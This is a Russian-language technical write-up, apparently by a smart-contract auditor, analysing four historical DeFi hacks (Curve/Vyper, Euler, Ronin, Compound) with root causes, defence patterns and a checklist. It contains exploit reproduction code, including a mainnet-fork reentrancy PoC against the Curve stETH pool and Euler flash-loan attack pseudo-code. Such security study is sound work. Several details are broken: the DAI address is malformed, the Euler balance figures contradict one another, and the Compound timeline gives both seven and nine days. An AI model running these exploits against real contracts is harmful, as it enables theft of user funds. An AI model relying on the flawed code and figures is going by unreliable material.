За 2024 год из DeFi-протоколов было похищено более $2.2 млрд. В первом полугодии 2025 года эта цифра уже превысила $2.17 млрд — и это только середина года. При этом 60%+ взломанных протоколов имели аудит от известных компаний.
Эта статья — не пересказ новостей. Это технический разбор четырёх ключевых эксплойтов, которые я воспроизводил в тестовой среде при подготовке к аудитам. Для каждого кейса разберём: корневую причину, почему это прошло аудит, как воспроизвести атаку в Foundry, и какие паттерны защиты реально работают.
Кейс 1: Vyper Compiler Bug — $70M из Curve Finance
Дата: 30 июля 2023
Потери: ~$70M (с учётом связанных протоколов — Alchemix, JPEG'd, Metronome)
Корневая причина: Баг в компиляторе Vyper версий 0.2.15, 0.2.16, 0.3.0
Почему этот кейс важен
Это не баг в коде протокола. Это баг в компиляторе. Reentrancy lock был написан корректно, но скомпилированный байткод работал неправильно. Ни один аудит смарт-контракта не мог это найти — проблема была уровнем ниже.
Техническая суть уязвимости
В Vyper декоратор @nonreentrant должен блокировать повторный вход в функцию через общий storage slot:
# Ожидаемое поведение: один lock для ключа "lock"
@nonreentrant("lock")
@external
def add_liquidity(...):
...
@nonreentrant("lock")
@external
def remove_liquidity(...):
...
Проблема в версии 0.2.15: при рефакторинге аллокации storage была удалена проверка на уникальность ключа.
Уязвимый код компилятора (v0.2.15):
# vyper/semantics/analysis/data_positions.py
storage_slot = 0
for node in vyper_module.get_children(vy_ast.FunctionDef):
type_ = node._metadata["type"]
if type_.nonreentrant is not None:
# BUG: не проверяет, что ключ уже аллоцирован
type_.set_reentrancy_key_position(StorageSlot(storage_slot))
storage_slot += 1 # Каждая функция получает СВОЙ slot
Корректный код (до v0.2.15 и после v0.3.1):
if key in self._nonreentrant_keys:
return self._nonreentrant_keys[key] # Возвращаем существующий slot
# Только если ключ новый — аллоцируем
В результате функции add_liquidity и remove_liquidity с одинаковым ключом "lock" получали разные storage slots. Lock одной функции не блокировал другую.
Механика атаки
1. Attacker вызывает remove_liquidity()
2. remove_liquidity() устанавливает lock в slot 0
3. Внутри remove_liquidity() происходит callback (например, через ETH transfer)
4. В callback attacker вызывает add_liquidity()
5. add_liquidity() проверяет lock в slot 1 — он свободен!
6. add_liquidity() выполняется, манипулируя ценой LP-токенов
7. remove_liquidity() завершается с искажёнными данными
Воспроизведение в Foundry
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.19;
import "forge-std/Test.sol";
interface ICurvePool {
function add_liquidity(uint256[2] calldata amounts, uint256 min_mint) external payable returns (uint256);
function remove_liquidity(uint256 amount, uint256[2] calldata min_amounts) external returns (uint256[2] memory);
}
contract VyperReentrancyExploit is Test {
ICurvePool constant POOL = ICurvePool(0xDC24316b9AE028F1497c275EB9192a3Ea0f67022); // stETH pool
uint256 attackStage;
function testExploit() public {
// Fork mainnet at block before patch
vm.createSelectFork("mainnet", 17800000);
// Setup: получаем LP токены
deal(address(this), 100 ether);
uint256[2] memory amounts = [uint256(50 ether), uint256(0)];
uint256 lpReceived = POOL.add_liquidity{value: 50 ether}(amounts, 0);
// Attack: remove_liquidity с reentrancy
attackStage = 1;
uint256[2] memory minAmounts = [uint256(0), uint256(0)];
// Это вызовет receive() при отправке ETH
POOL.remove_liquidity(lpReceived, minAmounts);
console.log("Profit:", address(this).balance - 50 ether);
}
receive() external payable {
if (attackStage == 1) {
attackStage = 2;
// Reentrancy: add_liquidity во время remove_liquidity
uint256[2] memory amounts = [uint256(1 ether), uint256(0)];
POOL.add_liquidity{value: 1 ether}(amounts, 0);
}
}
}
Почему аудит не нашёл
Аудит проверяет исходный код, не байткод. В исходнике всё корректно
Компилятор — trusted component. Аудиторы не проверяют компиляторы
Баг существовал 2 года (с июля 2021 по июль 2023) без обнаружения
Паттерны защиты
1. Explicit mutex вместо декораторов:
contract SecurePool {
uint256 private constant NOT_ENTERED = 1;
uint256 private constant ENTERED = 2;
uint256 private _status = NOT_ENTERED;
modifier nonReentrant() {
require(_status != ENTERED, "ReentrancyGuard: reentrant call");
_status = ENTERED;
_;
_status = NOT_ENTERED;
}
}
2. Invariant checks после каждой операции:
function remove_liquidity(uint256 lpAmount) external nonReentrant {
uint256 totalSupplyBefore = totalSupply();
uint256 reservesBefore = getReserves();
// ... логика remove
// Invariant: reserves/supply ratio не должен меняться более чем на X%
_checkInvariant(totalSupplyBefore, reservesBefore);
}
function _checkInvariant(uint256 supplyBefore, uint256 reservesBefore) internal view {
uint256 ratioBefore = reservesBefore * 1e18 / supplyBefore;
uint256 ratioAfter = getReserves() * 1e18 / totalSupply();
uint256 deviation = ratioBefore > ratioAfter
? ratioBefore - ratioAfter
: ratioAfter - ratioBefore;
require(deviation < MAX_DEVIATION, "Invariant violation");
}
3. CEI + explicit transfer last:
function withdraw(uint256 amount) external nonReentrant {
// Checks
require(balances[msg.sender] >= amount, "Insufficient");
// Effects
balances[msg.sender] -= amount;
totalDeposits -= amount;
emit Withdrawal(msg.sender, amount);
// Interactions — ПОСЛЕДНИМИ
(bool success,) = msg.sender.call{value: amount}("");
require(success, "Transfer failed");
}
Кейс 2: Euler Finance — $197M через donateToReserves
Дата: 13 марта 2023
Потери: $197M (крупнейший хак 2023 года на момент атаки)
Корневая причина: Отсутствие проверки health factor после donation
Техническая суть
Euler Finance — lending протокол с двумя типами токенов:
eTokens — представляют collateral (залог)
dTokens — представляют debt (долг)
Ключевая особенность Euler — возможность self-collateralized leverage: можно использовать заёмные средства как collateral для дальнейших займов. Максимальный leverage для self-collateralized позиций: 19x.
Уязвимая функция donateToReserves:
function donateToReserves(uint256 subAccountId, uint256 amount) external nonReentrant {
address account = getSubAccount(msg.sender, subAccountId);
// Проверяем баланс
require(balanceOf(account) >= amount, "Insufficient balance");
// Сжигаем eTokens пользователя
_burn(account, amount);
// Добавляем в резервы
reserves += amount;
// BUG: НЕТ проверки health factor после операции!
// checkLiquidity(account) — отсутствует
}
Проблема: функция позволяла "пожертвовать" collateral в резервы протокола, при этом dTokens (долг) оставались на балансе. Это искусственно создавало bad debt.
Механика атаки (8 этапов)
// Pseudo-code атаки
contract EulerExploit {
IEuler euler;
IERC20 dai;
function exploit() external {
// 1. Flash loan 30M DAI из Aave
uint256 flashAmount = 30_000_000e18;
aave.flashLoan(address(dai), flashAmount);
}
function executeOperation(uint256 amount) external {
// 2. Deposit 20M DAI в Euler
dai.approve(address(euler), 20_000_000e18);
euler.deposit(0, 20_000_000e18);
// Получаем ~19.5M eDAI
// 3. Mint (leverage) — берём в долг 10x от депозита
// Self-collateral factor = 0.95, позволяет до 19x leverage
euler.mint(0, 195_600_000e18);
// Теперь: 195.6M eDAI collateral, 200M dDAI debt
// Health score: ~1.02 (всё ещё safe)
// 4. Repay часть долга оставшимися 10M DAI
euler.repay(0, 10_000_000e18);
// dDAI уменьшился на 10M
// 5. Mint снова
euler.mint(0, 195_600_000e18);
// eDAI: ~310M, dDAI: ~390M
// 6. КЛЮЧЕВОЙ ШАГ: Donate 100M eDAI в резервы
euler.donateToReserves(0, 100_000_000e18);
// eDAI: ~210M, dDAI: ~390M (не изменился!)
// Health score падает до ~0.75 — позиция UNDERWATER
// 7. Liquidate через второй контракт
// При health < 0.8 ликвидатор получает 20% bonus
liquidator.liquidate(address(this));
// 8. Withdraw и возврат flash loan
euler.withdraw(0, type(uint256).max);
dai.transfer(address(aave), amount + fee);
// Profit: ~8.87M DAI только из DAI pool
// Атака повторена на других пулах
}
}
Математика атаки
Initial state after deposit + mint:
Collateral (eDAI): 310,930,612
Debt (dDAI): 390,000,000
Health Score: 310.9M * 0.95 / 390M = 0.757 (но это ПОСЛЕ donate)
Liquidation discount at health 0.75: 20% (максимум)
Liquidator получает:
eDAI worth 390M dDAI * 1.20 = 468M effective value
Но реально забирает оставшиеся 210M eDAI + погашает часть dDAI
Profit = Полученные активы - Flash loan - Fees
Foundry PoC
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.19;
import "forge-std/Test.sol";
import "./interfaces/IEuler.sol";
contract EulerExploitTest is Test {
// Mainnet addresses
address constant EULER = 0x27182842E098f60e3D576794A5bFFb0777E025d3;
address constant EULER_EXEC = 0x59828FdF7ee634AaaD3f58B19fDBa3b03E2D9d80;
IERC20 constant DAI = IERC20(0x6B175474E89094C44Da98b954EescdeCB5);
IEuler euler = IEuler(EULER);
Violator violator;
Liquidator liquidator;
function setUp() public {
// Fork at block before exploit
vm.createSelectFork("mainnet", 16817995);
violator = new Violator();
liquidator = new Liquidator();
}
function testEulerExploit() public {
// Get flash loan
deal(address(DAI), address(this), 30_000_000e18);
// Transfer to violator
DAI.transfer(address(violator), 30_000_000e18);
uint256 balanceBefore = DAI.balanceOf(address(this));
// Execute attack
violator.attack(address(liquidator));
// Collect profits
liquidator.withdraw();
violator.withdraw();
uint256 balanceAfter = DAI.balanceOf(address(this));
console.log("Profit:", (balanceAfter - balanceBefore) / 1e18, "DAI");
assertGt(balanceAfter, balanceBefore + 1_000_000e18); // > 1M profit
}
}
contract Violator {
function attack(address _liquidator) external {
// ... implementation of steps 2-6
}
function withdraw() external {
// Transfer profits back
}
}
contract Liquidator {
function liquidate(address violator) external {
// Execute liquidation with 20% bonus
}
function withdraw() external {
// Transfer liquidation profits
}
}
Почему аудит не нашёл
Euler проходил аудиты от нескольких компаний. После взлома Sherlock (платформа аудита) признала ответственность и выплатила $4.5M компенсации.
Причины пропуска:
Функция выглядела безобидной — "donation" в резервы кажется операцией без риска
Сложное взаимодействие механик — self-collateral + donation + liquidation
Edge case в экстремальном leverage — нужен был 19x leverage для эксплуатации
Паттерны защиты
1. Health check после ЛЮБОГО изменения позиции:
function donateToReserves(uint256 subAccountId, uint256 amount) external nonReentrant {
address account = getSubAccount(msg.sender, subAccountId);
require(balanceOf(account) >= amount, "Insufficient");
_burn(account, amount);
reserves += amount;
// CRITICAL: проверка после операции
require(
checkLiquidity(account) >= MIN_HEALTH_FACTOR,
"Health factor too low after donation"
);
}
2. Invariant testing для lending протоколов:
// Foundry invariant test
function invariant_noUnderwaterPositions() public {
address[] memory users = getAllUsers();
for (uint i = 0; i < users.length; i++) {
uint256 healthFactor = euler.getHealthFactor(users[i]);
assertGe(healthFactor, 1e18, "Underwater position exists");
}
}
function invariant_reservesNeverNegative() public {
assertGe(euler.reserves(), 0);
}
function invariant_totalSupplyMatchesDeposits() public {
uint256 totalETokens = eToken.totalSupply();
uint256 totalUnderlyingValue = euler.getTotalDeposits();
// С учётом accumulated interest
assertApproxEqRel(totalETokens, totalUnderlyingValue, 0.01e18);
}
3. Rate limiting для критических операций:
mapping(address => uint256) public lastDonationTime;
uint256 public constant DONATION_COOLDOWN = 1 hours;
uint256 public constant MAX_DONATION_PERCENT = 10; // 10% от позиции
function donateToReserves(uint256 amount) external {
require(
block.timestamp >= lastDonationTime[msg.sender] + DONATION_COOLDOWN,
"Cooldown active"
);
require(
amount <= balanceOf(msg.sender) * MAX_DONATION_PERCENT / 100,
"Donation too large"
);
lastDonationTime[msg.sender] = block.timestamp;
// ... rest of logic
}
Кейс 3: Ronin Bridge — $625M через компрометацию валидаторов
Дата: 23 марта 2022 (обнаружено 29 марта)
Потери: 173,600 ETH + 25.5M USDC (~$625M)
Корневая причина: Компрометация 5 из 9 приватных ключей валидаторов
Почему этот кейс в статье про смарт-контракты
Ronin Bridge технически работал корректно. Уязвимость была в архитектуре и операционной безопасности. Это критически важный урок: безопасность протокола не ограничивается кодом.
Архитектура Ronin Bridge
Ronin Sidechain Ethereum Mainnet
│ │
│ ┌─────────────────────┐ │
│ │ Ronin Bridge │ │
│ │ Contract │ │
│ │ │ │
│ │ Validators (9): │ │
│ │ - Sky Mavis (4) │ │
│ │ - Axie DAO (1) │ │
│ │ - External (4) │ │
│ │ │ │
│ │ Threshold: 5/9 │ │
│ └─────────────────────┘ │
│ │
Критическая проблема #1: 4 из 9 валидаторов контролировались одной компанией (Sky Mavis).
Критическая проблема #2: Порог 5/9 означал, что нужен только +1 валидатор для полного контроля.
Как произошла компрометация
Timeline:
─────────────────────────────────────────────────────────────
Nov 2021: Sky Mavis просит Axie DAO подписывать транзакции
от их имени (из-за высокой нагрузки)
Axie DAO добавляет Sky Mavis в allowlist
Dec 2021: Временный доступ должен быть отозван
BUG: Allowlist access НЕ был отозван
Mar 2022: Атакующий получает доступ к Sky Mavis через
их gas-free RPC node (социальная инженерия/фишинг)
4 ключа Sky Mavis + 1 ключ Axie DAO (через allowlist)
= 5/9 валидаторов
23 Mar: Атакующий подписывает withdrawal 173,600 ETH + 25.5M USDC
29 Mar: Пользователь сообщает о невозможности вывести 5000 ETH
Взлом обнаружен через 6 ДНЕЙ после факта
Уязвимый код bridge
// Simplified Ronin Bridge validation
contract RoninBridge {
uint256 public constant THRESHOLD = 5;
address[9] public validators;
function withdraw(
address token,
uint256 amount,
address recipient,
bytes[] calldata signatures
) external {
bytes32 hash = keccak256(abi.encodePacked(token, amount, recipient, nonce++));
uint256 validSigs = 0;
address lastSigner = address(0);
for (uint i = 0; i < signatures.length; i++) {
address signer = recoverSigner(hash, signatures[i]);
// Проверка: подписант является валидатором
require(isValidator(signer), "Invalid validator");
// Проверка: подписи идут в порядке возрастания (защита от дублей)
require(signer > lastSigner, "Invalid signature order");
lastSigner = signer;
validSigs++;
}
// Если >= 5 подписей — выполняем вывод
require(validSigs >= THRESHOLD, "Not enough signatures");
// Transfer funds
IERC20(token).transfer(recipient, amount);
}
}
Код технически корректен. Проблема в том, что 5 ключей были скомпрометированы.
Математика выбора threshold
Для M-of-N multisig схемы:
Security = вероятность, что атакующий НЕ получит M ключей
При 5/9:
- Sky Mavis контролирует 4 ключа
- Компрометация Sky Mavis + 1 любого = полный контроль
- Эффективный threshold: 1 (один дополнительный ключ)
При 7/9:
- Атакующему нужно 7 ключей
- Даже компрометация Sky Mavis (4) недостаточна
- Нужно ещё 3 независимых ключа
Рекомендация: Threshold должен быть > 2/3 и ни одна сторона не должна контролировать > (N - M) ключей.
Паттерны защиты для bridge архитектуры
1. Timelocked withdrawals + Guardian veto:
contract SecureBridge {
uint256 public constant TIMELOCK_DELAY = 24 hours;
uint256 public constant LARGE_WITHDRAWAL_THRESHOLD = 10_000 ether;
mapping(bytes32 => uint256) public withdrawalQueue;
mapping(bytes32 => bool) public guardianVeto;
address public guardian; // Independent security council
function initiateWithdrawal(
address token,
uint256 amount,
address recipient,
bytes[] calldata signatures
) external {
// Validate signatures (как раньше)
require(validateSignatures(...), "Invalid signatures");
bytes32 withdrawalId = keccak256(abi.encodePacked(
token, amount, recipient, block.timestamp
));
if (amount >= LARGE_WITHDRAWAL_THRESHOLD) {
// Крупные withdrawals идут через timelock
withdrawalQueue[withdrawalId] = block.timestamp + TIMELOCK_DELAY;
emit WithdrawalQueued(withdrawalId, token, amount, recipient);
} else {
// Мелкие — мгновенно
_executeWithdrawal(token, amount, recipient);
}
}
function executeQueuedWithdrawal(bytes32 withdrawalId) external {
require(withdrawalQueue[withdrawalId] != 0, "Not queued");
require(block.timestamp >= withdrawalQueue[withdrawalId], "Timelock active");
require(!guardianVeto[withdrawalId], "Vetoed by guardian");
// Execute...
}
function veto(bytes32 withdrawalId) external {
require(msg.sender == guardian, "Only guardian");
guardianVeto[withdrawalId] = true;
emit WithdrawalVetoed(withdrawalId);
}
}
2. Withdrawal rate limiting:
contract RateLimitedBridge {
uint256 public constant DAILY_LIMIT = 50_000 ether;
uint256 public constant PERIOD = 1 days;
uint256 public currentPeriodStart;
uint256 public currentPeriodWithdrawals;
function withdraw(uint256 amount) internal {
_updatePeriod();
require(
currentPeriodWithdrawals + amount <= DAILY_LIMIT,
"Daily limit exceeded"
);
currentPeriodWithdrawals += amount;
// Execute withdrawal...
}
function _updatePeriod() internal {
if (block.timestamp >= currentPeriodStart + PERIOD) {
currentPeriodStart = block.timestamp;
currentPeriodWithdrawals = 0;
}
}
}
3. Distributed key management:
// Validator distribution requirements
contract ValidatorRegistry {
struct ValidatorInfo {
address addr;
string organization;
string jurisdiction;
bool isActive;
}
mapping(address => ValidatorInfo) public validators;
// Constraints:
// - No organization can have > 20% of validators
// - Validators must be in >= 3 different jurisdictions
// - Key rotation required every 90 days
function addValidator(
address addr,
string calldata org,
string calldata jurisdiction
) external onlyGovernance {
require(
getOrgValidatorCount(org) < totalValidators() / 5,
"Org limit exceeded"
);
require(
jurisdictionCount() >= 3,
"Need more jurisdictions"
);
validators[addr] = ValidatorInfo(addr, org, jurisdiction, true);
}
}
Кейс 4: Compound Finance — $160M из-за > вместо >=
Дата: 30 сентября 2021
Потери: ~$160M в COMP токенах
Корневая причина: Один символ в условии — > вместо >=
Почему этот кейс критически важен
Это не сложная атака. Это не flash loan. Это не reentrancy. Это опечатка, которая прошла:
Code review
Тестирование
Аудит
Governance процесс
Mainnet deployment
Контекст: как работает COMP distribution
Compound распределяет COMP токены пользователям за supply и borrow. До Proposal 62 distribution был 50/50. Proposal 62 позволял governance устанавливать разные rates.
Уязвимый код после Proposal 62:
function distributeSupplierComp(
address cToken,
address supplier
) internal {
CompMarketState storage supplyState = compSupplyState[cToken];
uint256 supplyIndex = supplyState.index;
uint256 supplierIndex = compSupplierIndex[cToken][supplier];
compSupplierIndex[cToken][supplier] = supplyIndex;
if (supplierIndex == 0 && supplyIndex > compInitialIndex) {
// Новый supplier — устанавливаем начальный index
supplierIndex = compInitialIndex;
}
// BUG: должно быть >=
if (supplyIndex > supplierIndex) { // <-- ЗДЕСЬ
uint256 deltaIndex = supplyIndex - supplierIndex;
uint256 supplierTokens = CToken(cToken).balanceOf(supplier);
uint256 supplierDelta = supplierTokens * deltaIndex / 1e36;
compAccrued[supplier] += supplierDelta;
}
}
В чём баг:
Scenario: supplierIndex = 0 (default для нового пользователя)
supplyIndex = 1e36 (initialIndex)
Условие: supplyIndex > supplierIndex
1e36 > 0 = TRUE
Результат: deltaIndex = 1e36 - 0 = 1e36
Пользователь получает rewards за ВЕСЬ период с момента
запуска протокола, хотя только что присоединился
Корректный код:
// Правильная проверка
if (supplierIndex > 0 && supplyIndex >= supplierIndex) {
// Accrual только для существующих пользователей
uint256 deltaIndex = supplyIndex - supplierIndex;
// ...
}
Или с использованием >=:
if (supplyIndex >= supplierIndex && supplierIndex > 0) {
// ...
}
Почему исправление заняло неделю
Timeline:
─────────────────────────────────────────────────────────────
Sep 30: Proposal 62 исполняется, баг активен
Пользователи начинают claim неправомерные rewards
Compound Labs обнаруживает проблему
Sep 30: Robert Leshner: "There are no admin controls to
disable COMP distribution. Any changes require
7-day governance process."
Oct 2: Proposal 63 создан — временно отключает distribution
Oct 3: Proposal 64 создан — patch fix
Oct 9: Proposal 64 исполняется (7 дней governance delay)
─────────────────────────────────────────────────────────────
Итого: 9 дней от обнаружения до исправления
За это время было выведено ~490,000 COMP (~$160M).
Foundry тест для обнаружения
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.19;
import "forge-std/Test.sol";
contract CompoundBugTest is Test {
// Simplified Comptroller for demonstration
uint256 constant INITIAL_INDEX = 1e36;
mapping(address => mapping(address => uint256)) compSupplierIndex;
mapping(address => uint256) compAccrued;
// Vulnerable version
function distributeSupplierCompVulnerable(
address cToken,
address supplier,
uint256 supplyIndex,
uint256 balance
) public {
uint256 supplierIndex = compSupplierIndex[cToken][supplier];
compSupplierIndex[cToken][supplier] = supplyIndex;
if (supplierIndex == 0 && supplyIndex > INITIAL_INDEX) {
supplierIndex = INITIAL_INDEX;
}
// BUG: > instead of >=, and no check for supplierIndex > 0
if (supplyIndex > supplierIndex) {
uint256 deltaIndex = supplyIndex - supplierIndex;
uint256 supplierDelta = balance * deltaIndex / 1e36;
compAccrued[supplier] += supplierDelta;
}
}
// Fixed version
function distributeSupplierCompFixed(
address cToken,
address supplier,
uint256 supplyIndex,
uint256 balance
) public {
uint256 supplierIndex = compSupplierIndex[cToken][supplier];
compSupplierIndex[cToken][supplier] = supplyIndex;
if (supplierIndex == 0 && supplyIndex >= INITIAL_INDEX) {
supplierIndex = INITIAL_INDEX;
}
// FIXED: >= and check for initialized supplier
if (supplierIndex > 0 && supplyIndex >= supplierIndex) {
uint256 deltaIndex = supplyIndex - supplierIndex;
uint256 supplierDelta = balance * deltaIndex / 1e36;
compAccrued[supplier] += supplierDelta;
}
}
function testVulnerability() public {
address cToken = address(0x1);
address newUser = address(0x2);
uint256 balance = 1_000_000e18; // 1M cTokens
// Supply index накопился за время работы протокола
uint256 currentSupplyIndex = 2e36; // 2x от initial
// Новый пользователь (supplierIndex = 0)
// Vulnerable: новый пользователь получает rewards
distributeSupplierCompVulnerable(cToken, newUser, currentSupplyIndex, balance);
uint256 vulnAccrued = compAccrued[newUser];
console.log("Vulnerable accrued:", vulnAccrued / 1e18);
// Reset
compAccrued[newUser] = 0;
compSupplierIndex[cToken][newUser] = 0;
// Fixed: новый пользователь НЕ получает rewards
distributeSupplierCompFixed(cToken, newUser, currentSupplyIndex, balance);
uint256 fixedAccrued = compAccrued[newUser];
console.log("Fixed accrued:", fixedAccrued / 1e18);
assertGt(vulnAccrued, 0, "Vulnerable version gives rewards");
assertEq(fixedAccrued, 0, "Fixed version gives no rewards");
}
}
Как ловить такие баги
1. Boundary value testing:
function test_boundaryValues() public {
// Test: supplierIndex = 0 (new user)
// Test: supplierIndex = initialIndex (just initialized)
// Test: supplierIndex = supplyIndex (no change)
// Test: supplierIndex > supplyIndex (shouldn't happen but test)
uint256[] memory supplierIndexes = new uint256[](4);
supplierIndexes[0] = 0;
supplierIndexes[1] = INITIAL_INDEX;
supplierIndexes[2] = CURRENT_INDEX;
supplierIndexes[3] = CURRENT_INDEX + 1;
for (uint i = 0; i < supplierIndexes.length; i++) {
// Test each boundary
testDistribution(supplierIndexes[i]);
}
}
2. Invariant: total distributed <= total allocated:
function invariant_distributionNeverExceedsAllocation() public {
uint256 totalDistributed = getTotalDistributedComp();
uint256 totalAllocated = COMP.balanceOf(address(comptroller));
assertLe(
totalDistributed,
totalAllocated + INITIAL_ALLOCATION,
"Distributed more than allocated"
);
}
3. Differential testing:
function testDifferential_oldVsNew(
address supplier,
uint256 supplyIndex,
uint256 balance
) public {
// Fuzz inputs
vm.assume(balance > 0 && balance < type(uint128).max);
vm.assume(supplyIndex >= INITIAL_INDEX);
// Compare old and new implementation
uint256 oldResult = oldComptroller.distributeSupplierComp(...);
uint256 newResult = newComptroller.distributeSupplierComp(...);
// New implementation should never give MORE rewards
assertLe(newResult, oldResult + ACCEPTABLE_DELTA);
}
Практический раздел: Чеклист аудитора
После анализа сотен эксплойтов, вот consolidated чеклист, который я использую:
Reentrancy (все типы)
□ Все external calls после state changes (CEI pattern)
□ nonReentrant модификатор на функциях с transfers
□ Cross-function reentrancy: проверить ВСЕ функции с shared state
□ Cross-contract reentrancy: проверить callbacks в external contracts
□ Read-only reentrancy: view функции не используются для pricing во время mutation
Access Control
□ Все privileged функции защищены модификаторами
□ Ownership transfer — two-step pattern
□ Timelock на критические операции (> $X value)
□ Emergency pause mechanism существует
□ Guardian/multisig не имеет unlimited power
□ Key distribution: ни одна сторона не контролирует > threshold-1 ключей
Math & Logic
□ Overflow в unchecked блоках
□ Division before multiplication
□ Rounding direction (в пользу протокола, не пользователя)
□ Precision loss в calculations
□ Edge cases: zero values, max values, boundary conditions
□ Все >= vs > vs == операторы проверены на корректность
External Interactions
□ Return values проверяются (особенно для non-standard ERC20)
□ Low-level calls с проверкой success
□ Assumptions о external contracts задокументированы и проверены
□ Oracle freshness validation
□ Oracle deviation checks (multiple oracles)
□ Fallback mechanisms при oracle failure
Protocol-Specific (Lending)
□ Health factor проверяется после КАЖДОЙ операции
□ Liquidation logic корректна при extreme values
□ Interest accrual не создаёт overflow
□ Flash loan resistance (price manipulation)
□ Self-collateral loops ограничены
Protocol-Specific (Bridges)
□ Validator distribution достаточно decentralized
□ Threshold выбран корректно (> 2/3)
□ Timelock на large withdrawals
□ Rate limiting на withdrawals
□ Guardian veto mechanism
□ Monitoring и alerting настроены
Заключение
Четыре разобранных кейса показывают разные классы уязвимостей:
Кейс |
Класс |
Сложность обнаружения |
Защита |
|---|---|---|---|
Curve/Vyper |
Compiler bug |
Невозможно через code audit |
Мониторинг compiler versions, formal verification |
Euler |
Business logic |
Высокая (complex interactions) |
Invariant testing, comprehensive health checks |
Ronin |
Architecture/OpSec |
Средняя (требует threat modeling) |
Distributed key management, timelocks |
Compound |
Typo/Logic error |
Низкая (boundary testing ловит) |
Thorough testing, differential testing |
Главный вывод: Аудит — это baseline, не гарантия. После аудита нужны:
Bug bounty — Immunefi, HackerOne
Runtime monitoring — Forta, OpenZeppelin Defender
Incident response plan — что делать, когда (не если) найдут баг
Continuous security — повторные аудиты при изменениях
Ресурсы
Если вы работаете над DeFi-протоколом и хотите обсудить безопасность — контакты в профиле. Также буду рад обратной связи по статье в комментариях.